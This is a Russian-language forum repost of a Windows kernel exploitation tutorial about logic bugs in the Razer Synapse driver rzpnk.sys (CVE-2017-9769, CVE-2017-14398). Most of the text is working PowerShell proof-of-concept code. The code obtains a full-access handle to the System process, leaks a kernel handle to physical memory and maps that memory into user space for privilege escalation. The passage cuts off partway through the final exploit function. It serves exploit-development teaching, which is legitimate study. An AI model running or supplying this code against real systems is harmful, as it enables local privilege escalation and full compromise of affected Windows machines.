• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Введение в разработку эксплоитов под Windows (fuzzysecurity.com)

Часть 19: Эксплуатация Ядра -> Логическая ошибка в драйвере rzpnk.sys

Holla и добро пожаловать в очередной выпуск серии по эксплуатации ядра Windows! Сегодня мы будем смотреть на что-то немного другое. Некоторое время назад @zeroSteiner обнаружил две ошибки в rzpnk.sys драйвере (CVE-2017-9770 и CVE-2017-9769), используемом Razer Synapse. Некоторое время спустя я решил посмотреть на эти ошибки и ... я обнаружил еще одну логическую ошибку, приводящую к локальному повышению привилегий (CVE-2017-14398)!

В этом посте мы кратко продемонстрируем CVE-2017-9769, а затем сделаем полный эксплоит для найденной мной ошибки CVE-2017-14398. Прежде чем мы начнем, я хотел бы поблагодарить @aionescu. Я также играл с Binary Ninja, если кому-то интересно, откуда взялись скриншоты.

Ресурсы:
+ Razer Rzpnk.Sys IOCTL 0x226048 OOB Read (CVE-2017-9770) (@zeroSteiner) - here
+ Razer Rzpnk.Sys IOCTL 0x22a050 ZwOpenProcess (CVE-2017-9769) (@zeroSteiner) - here
+ MSI ntiolib.sys/winio.sys local privilege escalation (@rwfpl) - here

Солёное поле боя

Прежде чем мы пойдем вперед, я хотел быстро показать, насколько близко уязвимые функции находятся на графе вызовов. Они буквально соседи в функции диспетчеризации.

1.png


До некоторой точки ветвь, ведущая к этим вызовам, является общей. Тогда мы можем видеть, что значение 0x10 вычитается из кода IOCTL, и если результат равен нулю, мы переходим к вызову функции ZwOpenProcess, если остаток равен 0x14 , то мы переходим вместо этого к вызову функции ZwMapViewOfSection.

Также обратите внимание, что драйвер проверит длину входного и выходного буфера и перейдет в состояние отказа, если будет предоставлено недостаточное количество входных параметров или если выходной буфер недостаточно велик.

ZwOpenProcess POC (CVE-2017-9769)

Граф вызовов

2.png


Get a grip, or ehurm .. a handle!


Мы не будем тратить слишком много времени на эту функцию, но уязвимость достаточно проста, чтобы доказать. Мы знаем, что для функции нужны два QWORD в качестве входных параметров, и из эксплойта Spencer'а мы можем видеть, что он упаковывает pid и ноль в качестве QWORDS. Мы можем быстро повторить это со следующим POC.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class Razer
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        IntPtr OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
}
"@

#----------------[Get Driver Handle]

$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver access OK.."
    echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
    echo "[+] Handle: $hDevice"
}

#----------------[Prepare buffer & Send IOCTL]

# Input buffer
$InBuffer = @(
    [System.BitConverter]::GetBytes([Int64]0x4) + # PID 4 = System = 0x0000000000000004
    [System.BitConverter]::GetBytes([Int64]0x0)   # 0x0000000000000000
)

# Output buffer 1kb
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)

# Ptr receiving output byte count
$IntRet = 0

#=======
# 0x22a050 - ZwOpenProcess
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22a050, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
    echo "`n[!] DeviceIoControl failed..`n"
    Return
}

#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))

Запуск нашего POC дает следующий вывод.

3.png


Если мы посмотрим на два QWORD, возвращенных драйвером, то увидим, что первый - это PID, который мы передали, а второй — дескриптор. Когда мы ищем возвращенный дескриптор в нашем процессе PowerShell, мы видим следующее.

4.png


Это игра в значительной степени закончена. У нас есть дескриптор полного доступа к системному pid, что означает, что мы можем читать и записывать в любую память в этом пространстве процессов.
Spencer эксплуатрировал следующим способов
- получал дескриптор для winlogon,
- перехватывал user32!LockWorkStation для выполнения шеллкода,
- блокировал сеанс пользователя,
- профит!

Эксплуатация ZwMapViewOfSection (CVE-2017-14398)

Время, чтобы добраться до хороших вещей! Я настоятельно рекомендую вам взглянуть на сообщение @rwfpl об эксплуатации ntiolib/winio здесь (http://blog.rewolf.pl/blog/?p=1630), чтобы получить больше информации об этом типе ошибки.

Граф вызовов

5.png


Аргументы функции


Помните из первого скриншота, что функция ожидает 0x30 размер (6 QWORD) в качестве входных данных и также возвращает 0x30 в качестве вывода.Мы можем быстро создать POC, чтобы достичь уязвимой функции.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class Razer
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        IntPtr OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
}
"@

#----------------[Get Driver Handle]

$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver access OK.."
    echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
    echo "[+] Handle: $hDevice"
}

#----------------[Prepare buffer & Send IOCTL]

# Input buffer
$InBuffer = @(
    [System.BitConverter]::GetBytes([Int64]0xAAAAAA) +
    [System.BitConverter]::GetBytes([Int64]0xBBBBBB) +
    [System.BitConverter]::GetBytes([Int64]0xCCCCCC) +
    [System.BitConverter]::GetBytes([Int64]0xDDDDDD) +
    [System.BitConverter]::GetBytes([Int64]0xEEEEEE) +
    [System.BitConverter]::GetBytes([Int64]0xFFFFFF)
)

# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)

# Ptr receiving output byte count
$IntRet = 0

#=======
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
    echo "`n[!] DeviceIoControl failed..`n"
    Return
}

#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64())) # 0x30 pyramid scheme ;)
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))

Прежде чем мы сделаем отладку, мы можем запустить наш POC и посмотреть, что возвращает драйвер.

6.png


Круто. В дополнение к множеству наших входных параметров мы можем видеть Int64, который возвращает 0, и DWORD младшего разряда, который возвращает код NTSTATUS. В этом случае функция ZwMapViewOfSection возвращает STATUS_INVALID_HANDLE, что имеет смысл, потому что он ожидает дескриптор раздела в качестве первого параметра, и мы просто передали ей некоторый мусор. Приятным побочным эффектом здесь является то, что мы можем сказать, был ли наш вызов успешным, сравнив код NTSTATUS с 0x0 (STATUS_SUCCESS).

Из графа мы уже можем сказать, что представляют собой некоторые статические параметры, но чтобы очистить все сомнения, мы можем установить точку останова при вызове функции ZwMapViewOfSection и проверить регистры + стек. Функция ZwMapViewOfSection использует соглашение о вызовах stdcall, поэтому по порядку аргументы будут храниться в RCX, RDX, R8, R9 и стеке.

7.png


Соединяя это с нашими входными параметрами, мы получаем следующее.

NTSTATUS ZwMapViewOfSection(
_In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
_In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
_Inout_ PVOID *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
_In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
_In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
_Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
_Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
_In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
_In_ ULONG AllocationType, | 0 -> Undocumented?
_In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
);

Большая часть того, что мы контролируем, очень прямолинейна. Для дескриптора процесса нам просто нужно передать дескриптор полного доступа в PowerShell, а размер commit/размер view - это просто то, сколько мы отображаем в нашем процессе. Вопрос в том, где мы собираемся получить дескриптор раздела. У драйвера нет никаких функций, которые позволяют нам вызывать функции ZwCreateSection или ZwOpenSection.

Утечка физической памяти

Я был немного обеспокоен тем, что эксплоит не работал, потому что я не мог создать дескриптор раздела. К счастью, @aionescu дал мне толчок. Используя функцию NtQuerySystemInformation с классом SystemHandleInformation, мы можем сделать так, чтобы получить утеку всех дескрипторов, которые открыты процессами в системе. Эти дескрипторы являются дескрипторами пользовательского пространства для каждого процесса, однако системный процесс (PID = 4) является особым случаем, позволяющим нам преобразовать дескриптор пользовательского пространства в дескриптор ядра!

Почему мы заботимся об этом? System имеет дескриптор "\Device\PhysicalMemory". Если мы можем сделать, так чтобы произошла утечка этого дескриптора, мы можем получить ZwMapViewOfSection для непосредственного отображения физической памяти в наш процесс PowerShell!

8.png


Я написал функцию на powershell, чтобы позаботиться об этом процессе. Она использует статические константы дескриптора, чтобы определить тип дескрипторов, открытых процессом. Я недавно обновил код, чтобы он работало от Win7 до Win10RS2. Get-Handles - это часть моего репозитория PSKernel-Primitives на GitHub. Проверьте, хотите ли вы поиметь ядро с помощью PowerShell?

9.png


Все, что нам нужно сделать, чтобы получить дескриптор ядра, это добавить статическое значение к 0x204 (0xffffffff80000000 для 64-битной и 0x80000000 для 32-битной системы). Мы можем сделать это динамически следующим образом.

Код:
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000

Теперь мы можем собрать новый POC и заполнить все недостающие биты. В целях тестирования мы попытаемся отобразить 1 Мб физической памяти в PowerShell.

Код:
function RZ-ZwMapViewOfSection {
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
 
    public static class Razer
    {
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr CreateFile(
            String lpFileName,
            UInt32 dwDesiredAccess,
            UInt32 dwShareMode,
            IntPtr lpSecurityAttributes,
            UInt32 dwCreationDisposition,
            UInt32 dwFlagsAndAttributes,
            IntPtr hTemplateFile);
 
        [DllImport("Kernel32.dll", SetLastError = true)]
        public static extern bool DeviceIoControl(
            IntPtr hDevice,
            int IoControlCode,
            byte[] InBuffer,
            int nInBufferSize,
            IntPtr OutBuffer,
            int nOutBufferSize,
            ref int pBytesReturned,
            IntPtr Overlapped);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            UInt32 flAllocationType,
            UInt32 flProtect);
 
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(
            UInt32 processAccess,
            bool bInheritHandle,
            int processId);
    }
"@

    #----------------[Helper Funcs]
    function Get-Handles {
    <#
    .SYNOPSIS
        Use NtQuerySystemInformation::SystemHandleInformation to get a list of
        open handles in the specified process, works on x32/x64.
        Notes:
 
        * For more robust coding I would recomend using @mattifestation's
        Get-NtSystemInformation.ps1 part of PowerShellArsenal.
 
    .DESCRIPTION
        Author: Ruben Boonen (@FuzzySec)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
 
    .EXAMPLE
        C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
        C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
        C:\PS> $Key |ft
 
        ObjectType AccessMask PID Handle HandleFlags KernelPointer
        ---------- ---------- --- ------ ----------- -------------
        Key        0x00000000   4 0x004C NONE        0xFFFFC9076FC29BC0
        Key        0x00020000   4 0x0054 NONE        0xFFFFC9076FCDA7F0
        Key        0x000F0000   4 0x0058 NONE        0xFFFFC9076FC39CE0
        Key        0x00000000   4 0x0090 NONE        0xFFFFC907700A6B40
        Key        0x00000000   4 0x0098 NONE        0xFFFFC90770029F70
        Key        0x00020000   4 0x00A0 NONE        0xFFFFC9076FC9C1A0
        [...Snip...]
    #>
 
        [CmdletBinding()]
        param (
            [Parameter(Mandatory = $True)]
            [int]$ProcID
        )
     
        Add-Type -TypeDefinition @"
        using System;
        using System.Diagnostics;
        using System.Runtime.InteropServices;
        using System.Security.Principal;
     
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct SYSTEM_HANDLE_INFORMATION
        {
            public UInt32 ProcessID;
            public Byte ObjectTypeNumber;
            public Byte Flags;
            public UInt16 HandleValue;
            public IntPtr Object_Pointer;
            public UInt32 GrantedAccess;
        }
     
        public static class GetHandles
        {
            [DllImport("ntdll.dll")]
            public static extern int NtQuerySystemInformation(
                int SystemInformationClass,
                IntPtr SystemInformation,
                int SystemInformationLength,
                ref int ReturnLength);
        }
"@
 
        # Make sure the PID exists
        if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
            Return
        }
 
        # Flag switches (0 = NONE?)
        $FlagSwitches = @{
            0 = 'NONE'
            1 = 'PROTECT_FROM_CLOSE'
            2 = 'INHERIT'
        }
     
        $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
        $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
        switch ($OSMajorMinor)
        {
            '10.0' # Windows 10 (Tested on v1511)
            {
                # Win 10 v1703
                if ($OSVersion.Build -ge 15063) {
                    $TypeSwitches = @{
                        0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
                        0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
                        0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
                        0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
                        0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
                        0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
                        0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
                        0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
                        0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
                        0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
                        0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
                        0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
                        0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
                        0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
                        0x2d = 'ALPC Port'; 0x20 = 'Driver';
                    }
                }
             
                # Win 10 v1607
                if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
                    $TypeSwitches = @{
                        0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
                        0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
                        0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
                        0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
                        0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
                        0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
                        0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
                        0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
                        0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
                        0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
                        0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
                        0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
                        0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
                    }
                }
             
                # Win 10 v1511
                if ($OSVersion.Build -lt 14393) {
                    $TypeSwitches = @{
                        0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                        0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                        0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
                        0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                        0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
                        0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                        0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                        0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
                        0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
                        0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
                        0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
                        0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
                    }
                }
            }
         
            '6.2' # Windows 8 and Windows Server 2012
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                    0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
                    0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
                    0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                    0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                    0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
                    0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
                    0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
                    0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
                }
            }
     
            '6.1' # Windows 7 and Window Server 2008 R2
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
                    0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                    0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
                    0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
                    0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
                    0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
                    0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
                    0x2b = 'PcwObject';
                }
            }
     
            '6.0' # Windows Vista and Windows Server 2008
            {
                $TypeSwitches = @{
                    0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
                    0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
                    0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
                    0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
                    0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
                    0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
                    0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
                    0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
                }
            }
        }
 
        [int]$BuffPtr_Size = 0
        while ($true) {
            [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
            $SystemInformationLength = New-Object Int
     
            $CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
         
            # STATUS_INFO_LENGTH_MISMATCH
            if ($CallResult -eq 0xC0000004) {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
            }
            # STATUS_SUCCESS
            elseif ($CallResult -eq 0x00000000) {
                break
            }
            # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
            else {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                return
            }
        }
     
        $SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
        $SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
        if ([System.IntPtr]::Size -eq 4) {
            $SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
        } else {
            $SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
                                                # Ask no questions, hear no lies!
        }
     
        $BuffOffset = $BuffPtr.ToInt64()
        $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
        $BuffOffset = $BuffOffset + [System.IntPtr]::Size
     
        $SystemHandleArray = @()
        for ($i=0; $i -lt $HandleCount; $i++){
            # PtrToStructure only objects we are targeting, this is expensive computation
            if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
                $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
                $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
             
                $HashTable = @{
                    PID = $Cast.ProcessID
                    ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
                    HandleFlags = $FlagSwitches[[int]$Cast.Flags]
                    Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
                    KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
                    AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
                }
             
                $Object = New-Object PSObject -Property $HashTable
                $SystemHandleArray += $Object
             
            }
 
            $BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
        }
     
        if ($($SystemHandleArray.count) -eq 0) {
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
            Return
        }
     
        # Set column order and auto size
        $SystemHandleArray
     
        # Free SYSTEM_HANDLE_INFORMATION array
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
    }

    #----------------[Get Driver Handle]
 
    $hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
    [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
    if ($hDevice -eq -1) {
        echo "`n[!] Unable to get driver handle..`n"
        Return
    } else {
        echo "`n[>] Driver access OK.."
        echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
        echo "[+] Handle: $hDevice"
    }
 
    #----------------[Prepare buffer & Send IOCTL]
 
    # Get full access process handle to self
    echo "`n[>] Opening full access handle to PowerShell.."
    $hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
    echo "[+] PowerShell handle: $hPoshProc"
 
    # Get Section handle
    echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
    $SystemProcHandles = Get-Handles -ProcID 4
